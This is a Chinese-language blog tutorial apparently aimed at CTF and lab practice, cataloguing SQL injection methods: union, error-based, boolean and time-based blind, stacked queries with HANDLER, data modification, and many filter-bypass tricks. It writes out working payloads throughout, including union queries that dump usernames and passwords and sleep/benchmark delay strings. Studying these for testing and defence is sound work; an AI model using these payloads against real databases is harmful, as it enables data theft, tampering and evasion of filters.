• 半小时了解SQL注入漏洞?(注入方式大全+绕过大全)


    🏆今日学习目标:
    🍀学习了解sql注入漏洞
    ✅创作者:贤鱼
    ⏰预计时间:35分钟
    🎉个人主页:贤鱼的个人主页
    🔥专栏系列:网络安全
    ⚠如有需要可以查看以往文章:
    一文了解数据库操作–mysql(25分钟)
    具体详细介绍在专栏中有单独介绍,可以查看
    只有了解才能注入

    请添加图片描述

    🍀union注入

    原理

    利用union关键字,union会将前后两次查询结果拼在一起,由于是联合查询,必须保证字段数一致,也就是两个查询结果有相同列数

    过程

    1 判断数字或者字符串注入类型
    2 判断字段数,查询有几个字段
    3 判断回显点,有些字段存在但是不会输出内容,我们需要找到会显示的字段数
    4 注入库名
    5 注入表名
    6 注入列名
    7 查数据

    判断数字或者字符串

    输入:
    id=1
    id=1’
    id=1’–+(–+是注释的意思)
    为什么有时候加个单引号会报错,而加个注释又会查询成功呢?
    举个栗子:‘xxx xxx xxx’这样子是正常的
    ‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错
    ‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了,也就不会报错了

    判断字段数

    上文说过,union前后查询字段数必须一致,所以我们还要对字段数进行判断。在此可以利用order by n进行判断,意思是根据n个字段排序,如果不存在这个字段就会报错

    在这里插入图片描述

    这里依次查询1,2,3,4,5

    在这里插入图片描述

    4和5都会报错,所以可以得知,字段数为3
    当然 union也是可以用的

    在这里插入图片描述

    第一个是1查询的,后面三个是1,2,3查询的,1,2,3,4依旧报错

    判断回显点

    这里的操作和上文union查询字段数一样

    在这里插入图片描述

    很明显,字段数3中,我们的1,2,3都输出了,所以回显点就是1,2,3

    注入库名

    查询到回显点,就要开始注入了,想要注入数据,必须得到他的库名
    获得库名可以用database()函数
    如图:输入id=-1’ union select 1,2,3 --+

    在这里插入图片描述

    我们再回显点2位置注入,发现成功获得了库名

    当然,换个位置效果一样

    分享几个查询数据库的方法

    id=-1' union select 1,database(),3 --+
    查看所有数据库名称
    id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
    id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
    也可以用group_concat()函数将查询结果内容放入同一行
    id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    注入表名

    有了库名就可以查询表名了

    id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
    where table_schema='库名' --+
    
    • 1
    • 2

    就可以查询到表名了

    注入列名

    查询到库名和表名就可以查询列名

    d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
    information_schema.columns where table_schema='库名' and table_name='表名' --+
    
    • 1
    • 2

    查数据

    接下来就是查询数据了

    id=-1' union select 1,username,password from security.users limit 0,1 --+
    
    • 1
    id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
    
    • 1
    id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
    --+
    
    • 1
    • 2

    concat() :将两个字段结合成为一个字段

    在这里插入图片描述

    🍀报错注入

    原理

    利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中
    sql查询的星系会被报错语句返回到界面上

    注入

    extractvalue

    extractvale(MXL_document,xpath_string);

    第一个参数为xml字符串
    第二个参数为xpath格式字符串

    作用,从xml中返回包含查询字符串

    注意! 查询时用group_concat或者limit
    记得用substr函数进行截取,extractvalue报错信息最多32个字符

    后面的程序和上文union注入差不多,如有需要可以查看

    双查询注入

    上文所说查询时用group_concat或者limit
    有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
    在这里插入图片描述
    用limit将结果一行一行爆出

    双列名查询

    join:
    用于将两个表连接

    在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

    报错函数

    geometrycollection()

    geometrycollection((select * from(select * from(select
    user())a)b));(5.1>=version<=5.5.48 )

    multipoint()

    multipoint((select * from(select user())b));
    (5.1>=version<=5.5.48 )

    polygon()

    select polygon((select * from(select * from(select
    user())a)b));(5.1>=version<=5.5.48 )

    multipolygon()

    multipolygon((select * from(select * from(select
    user())a)b));(5.1>=version<=5.5.48 )

    linestring()

    linestring((select * from(select * from(select user())a)b));
    (5.1>=version<=5.5.48 )

    multilinestring()

    multilinestring((select * from(select * from(select
    user())a)b));(5.1>=version<=5.5.48 )

    exp()

    exp(~(select * from(select user())a));
    (5.1>=version<=5.5.48 )

    ST_LatFromGeoHash()

    select ST_LatFromGeoHash(user());(>=5.7)

    ST_LongFromGeoHash()

    select ST_LongFromGeoHash(user());(*>=5.7)

    GTID_SUBSET()

    select GTID_SUBSET(user(),1);(*>=5.7)

    GTID_SUBTRACT()

    select GTID_SUBTRACT(user(),1);(*>=5.7)

    ST_PointFromGeoHash()

    select ST_PointFromGeoHash(user(),1);(*>=5.7)

    procedure analyse()

    procedure
    analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句
    末尾,(*<=5.6.17)

    🍀盲注

    布尔盲注

    原理

    存在sql注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试

    举个例子

    如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
    如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
    ......
    如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
    ......
    
    • 1
    • 2
    • 3
    • 4
    • 5

    名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
    当然,如果手动比较,电脑和我的手一定会炸掉一个
    所以我们需要写脚本,在后文会介绍到。

    布尔盲注payload构造步骤

    确定注入点,找到回显不同,例如:内容不同或者http头部不同

    我们该如何构造语句呢?
    举个栗子

    SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'
    
    • 1

    SELECT name, mojority FROM student WHERE student_id = ‘0’ or substr((QUERY),1,1) = ‘a’
    这个部分就是我们需要构造的部分

    构造语句的两个重点:
    字符串如何截取
    比较结果是否相等

    所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

    截取字符串

    substr()

    使用方法:
    substr(要截取的字符串,从哪一位开始,截取多长)

    例如

    select substr((select database()),1,1);
    
    • 1
    mid

    用法和substr完全相同!!可以互相绕过过滤

    rigth()

    使用方法
    right(要截取的字符串,截取长度)
    表示截取字符串右边几位
    注意:
    配合ascii/ord一起使用,这两个函数是返回传入字符串的首字母的ASCII码
    使用方法:
    ascii((right(要截取的字符串,x)))
    返回的内容是从右往左x位的ascii码

    举个栗子

    select ascii(right((select database()), 2));
    
    • 1
    left()

    使用方法:
    left(要截取的字符串,截取长度)
    表示截取字符串左边第几位
    注意:
    配合reverse()+ascii/ord使用,用法和上面类似

    举个栗子:

    elect ascii(reverse(left((select database()), 2));
    
    • 1
    regexp

    使用方法:
    binary 目标字符串 regexp 正则
    判断一个字符串是否匹配一个正则表达式

    举个栗子:

    select (select database()) regexp binary '^sec'
    
    • 1
    rlike

    用法和regexp雷同

    trim

    trim(leading ‘a’ from ‘abcd’)
    表示移除句首a,会返回abc,如果将from前的a改成b,则会返回abcd

    insert

    用法
    insert(字符串,起始位置,长度,替换成什么)

    字符串定位函数

    INSTR(str,substr)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    FIND_IN_SET(str,strlist)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
    LOCATE(substr,str,pos)> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
    在pos。如若substr 不在str中,则返回值为0
    POSITION(substr IN str)> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
    substr 在 str 中不存在,返回值为 0
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
    pos。如若substr 不在str中,则返回值为0。

    比较

    rlike/regexp

    上文有讲,截取+比较结合体

    between

    用法
    expr between 下界 and 上界
    意思是是否expr>=下界 &&expr<=上界

    in

    用法
    expr0 in(expr0,expr1,expr2)

    and,or减法运算

    可以用一个 true 去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
    ASCII码:

    可以用一个 false 去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
    ASCII码:

    脚本

    这里避免大家看着无聊,本文主要是总结,所以脚本就放在下面内容了
    35分钟了解sql注入-盲注(三)

    时间盲注

    原理

    有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!

    介绍下原理:

    如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
    ......
    如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
    如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
    ......
    后面以此类推
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    时间盲注payload步骤

    和上文布尔盲注差不多,只不过在构造条件语句时关注延时操作而不是返回值了

    条件语句构造

    往上翻,啥都有

    补充一下

    and

    如果and前为真,执行后面内容

    (condition) AND sleep(5)
    
    • 1
    or

    如果前面为假才执行后面

    !(condition) OR sleep(5)
    
    • 1

    延时操作

    这里还是要写一下

    sleep

    意思是休眠指定事件后继续

    栗子:

    SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
    
    • 1
    benchmark

    用法
    benchmark(执行次数,执行什么)

    栗子:

    SELECT benchmark(10000000,sha1('test'));
    
    • 1
    笛卡尔积延时

    注意当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

    SELECT count(*) FROM information_schema.columns A,
    information_schema.columns B, information_schema.columns C;
    
    • 1
    • 2
    正则dos延时

    原理:
    通过费时正则匹配操作消耗时间

    栗子:

    select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
    concat(repeat('(a.*)+',30),'b');
    
    • 1
    • 2

    脚本

    35分钟了解sql注入-盲注(三)

    报错盲注

    用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字

    原理

    原理就是比较条件为真时,通过调用产生错误的函数

    if(condition,报错,不报错)
    
    • 1

    🍀堆叠注入

    原理

    当使用了支持多语句查询的函数时,数据库就会造成堆叠注入

    实施方法

    例如:

    table / handler

    table

    作用相当于select

    handler

    这个好好讲一下

    原理

    总所周知,在sql注入中可以使用select,可如果题目中过滤了select该怎么办呢?我们可以使用handler,这个语句可以一行一行显示库中内容

    模板

    handler user open;
    handler user read;读出什么输出什么

    handler user read first [where username=‘admin’];
    handler user read next [where username=‘admin’]; – [] 中的内容意味着可加可不加
    user是表名

    使用方法

    首先抓包,然后鼠标右键send to repeater

    用’;闭合前段,然后输入handler user open;handler user read next;,这里first时代表第一个内容,next是后面的内容,user是表名,我们通过多次用handler user read next可以看到表中所有的内容,所以多次复制handler user read next;就可以了

    在这里插入图片描述

    🍀修改数据

    前提

    在修改数据的前提下,我们要先想方法爆出对方的库名以及我们需要修改的列名,有些注入可能有很多列,我们要知道他们才能做到修改数据

    具体方法

    在决定使用这个方法的同时,我们需要看看对方过滤的内容,如果发现可以通过其他方法,还是不要用这个为好
    下面来具体的实现一下:

    众所周知,在做题之前要看一下网页源代码

    在这里插入图片描述

    这里可以看到,在最后面的提示内容告诉了我们很多东西

    在这里插入图片描述

    表名这不就有了
    接下来用bp抓包

    这里用’;闭合前面,然后按照UPDATE <表名> SET 字段1=值1, 字段2=值2, … WHERE …;的格式来修改答案,

    在这里插入图片描述
    修改完毕将值发回去就可以发现成功注入了

    在这里插入图片描述

    🍀绕过方法大全🔥

    常见绕过方式

    大小写绕过:如果在检测关键字区分大小写了,才可以使用 (mysql关键字不区分大小写)

    双写绕过:如果代码的过滤原理是检测关键字并且将它删除,如果只删除依次,就可以利用这个绕过

    url编码:乳沟代码中多执行一次url解码过程就可以使用这个方法

    关键字绕过

    字符串

    主要思想是利用函数或者十六进制数拼接目标字符串

    and/or

    && —和and作用相同
    || —和or作用相同

    and/or/union

    try一下盲注

    1'||(select user from xxx where xxx)='admin'
    
    • 1

    and/or/union/where

    可以使用limit或者group by

    -- limit
    1||( select user from users limit 1)='admin' limit 1,1
    1||( select user from users limit 1)='admin' limit 1 offset 1
    -- group by
    1||select user from users group by user_id having user_id=1= 'admin'
    
    • 1
    • 2
    • 3
    • 4
    • 5

    and/or/union/where/limit/group by

    emmm,换成substr(group_concat(XXX))一个一个包吧

    and/or/union/where/limit/group by/select

    盲注—你值得拥有

    1||user_id is not null -- 存在该字段正常查询,不存在报错
    1||substr(user,1,1)=0×61
    1||substr(user,1,1)=unhex(61)
    
    • 1
    • 2
    • 3

    空格

    select/**/username/**/from/**/user; -- /**/ 使用注释
    select/*!username*//*!from*/user; -- /*!*/ 内联注释,内联注释中的内容也会被当作代码执行
    select(username)from(user); -- 使用括号绕过
    select%0busername%0bfrom%0buser; -- 如果使用url传参时可以使用其他的空白符号(将其进行URL
    编码)绕过:%09:TAB 键(水平); %0a: 新建一行; %0b:TAB 键(垂直); %0c:新的一页;
    %0d:return 功能;
    select`username`from`user`; -- 对于表名和列名可以用反引号包裹起来。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    逗号

    -- 绕过select中字段间的逗号,使用join
    select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
    -- 绕过if中的逗号
    select username from user where username='admin' or (CASE WHEN (1=12) THEN 1
    ELSE 0 END)
    -- 绕过substr中逗号
    Substr(DATABASE() FROM pos FOR len), mid(DATABASE() FROM 1 FOR 1)
    -- 绕过limit中逗号
    Limit 1 offset 1
    select top 5 * from table
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    单双引号

    如果被转义,尝试宽字节注入

    如果’被改成了’,就无法用引号闭合sql语句中的引号了

    🏆结束语

    🍀sql注入的内容就早这里了,如果对网络安全感兴趣的话可以订阅专栏,会持续更新网络安全方面知识

    请添加图片描述

  • 相关阅读:
    上海天正面试03
    无线射频芯片CC2540F256RHAR 中文资料介绍
    CRM系统中的营销归因模型有哪些?
    【面试题 - mysql】进阶篇 - Sql优化
    Java Socket实现简易多人聊天室传输聊天内容或文件
    Wakeup Source框架设计与实现
    idea常用插件笔记
    如果我要用Python偷表情包
    Kamiya丨Kamiya艾美捷AREG酶联免疫吸附试验原理
    探索ChatGPT的前沿科技:解锁其在地理信息系统、气候预测、农作物生长等关键领域的创新应用
  • 原文地址:https://blog.csdn.net/m0_66623111/article/details/127115383